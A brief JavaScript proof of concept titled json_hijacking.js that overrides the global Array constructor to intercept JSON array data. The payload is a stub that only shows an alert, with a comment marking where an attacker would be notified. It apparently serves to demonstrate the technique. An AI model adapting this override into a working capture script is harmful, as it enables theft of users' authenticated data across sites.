json_hijacking.js

function Array() {
    var foo = this;
    var bar = function() {
        var ret = "Captured array items are: ";
        //notify an attacker. Here we just display it
        alert(ret);    
    };
     setTimeout(bar, 100);
}